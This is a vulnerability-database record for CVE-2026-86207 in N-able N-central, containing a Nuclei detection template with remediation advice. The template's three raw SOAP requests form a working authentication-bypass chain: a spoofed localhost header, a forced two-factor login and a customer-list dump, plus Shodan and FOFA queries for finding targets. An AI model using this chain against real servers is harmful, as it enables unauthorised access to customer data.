{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-86207/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-86207/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-86207/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-86207/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-86207/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-86207"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-86207"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-86207.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-86207\n\ninfo:\n  name: N-able N-central - Authentication Bypass\n  author: rapid7,DhiyaneshDk\n  severity: critical\n  description: |\n    An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.\n  impact: |\n    Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.\n  remediation: |\n    Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.\n    Hosted N-central environments have already been patched by the vendor.\n  reference:\n    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/\n    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis\n    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-86207\n    epss-score: 0.01254\n    epss-percentile: 0.69572\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: n-able\n    product: n-central\n    shodan-query: title:\"N-central\"\n    fofa-query: title=\"N-central\"\n  tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:sessionHello>\n              <ei:in0>3</ei:in0>\n            </ei:sessionHello>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'SessionID')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_id\n        part: body\n        group: 1\n        regex:\n          - '<SessionID[^>]*>([0-9]+)</SessionID>'\n        internal: true\n\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:userTwoFactorLogin>\n              <ei:sessionID>{{session_id}}</ei:sessionID>\n              <ei:userID>1</ei:userID>\n              <ei:password>dummy</ei:password>\n            </ei:userTwoFactorLogin>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /dms;/services/ServerUI HTTP/1.1\n        Host: {{Hostname}}\n        Forwarded: for=\"127.0.0.\\1\"\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: \"\"\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ei=\"http://ei.server.nable.com\">\n          <soapenv:Body>\n            <ei:customerList>\n              <ei:in0>{{session_id}}</ei:in0>\n              <ei:in1>1</ei:in1>\n              <ei:in2>true</ei:in2>\n              <ei:in3>false</ei:in3>\n            </ei:customerList>\n          </soapenv:Body>\n        </soapenv:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')\"\n          - \"contains(content_type, 'text/xml')\"\n        condition: and\n# digest: 4a0a004730450221008dd56752de643c3e621c0db1e00994d4eaec2d26978268a4d7ee29882efbf93c02202592b7be71d4938f2a63b21d516ad517b91340aeeacf19d886c7501c314b953e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-86207"
}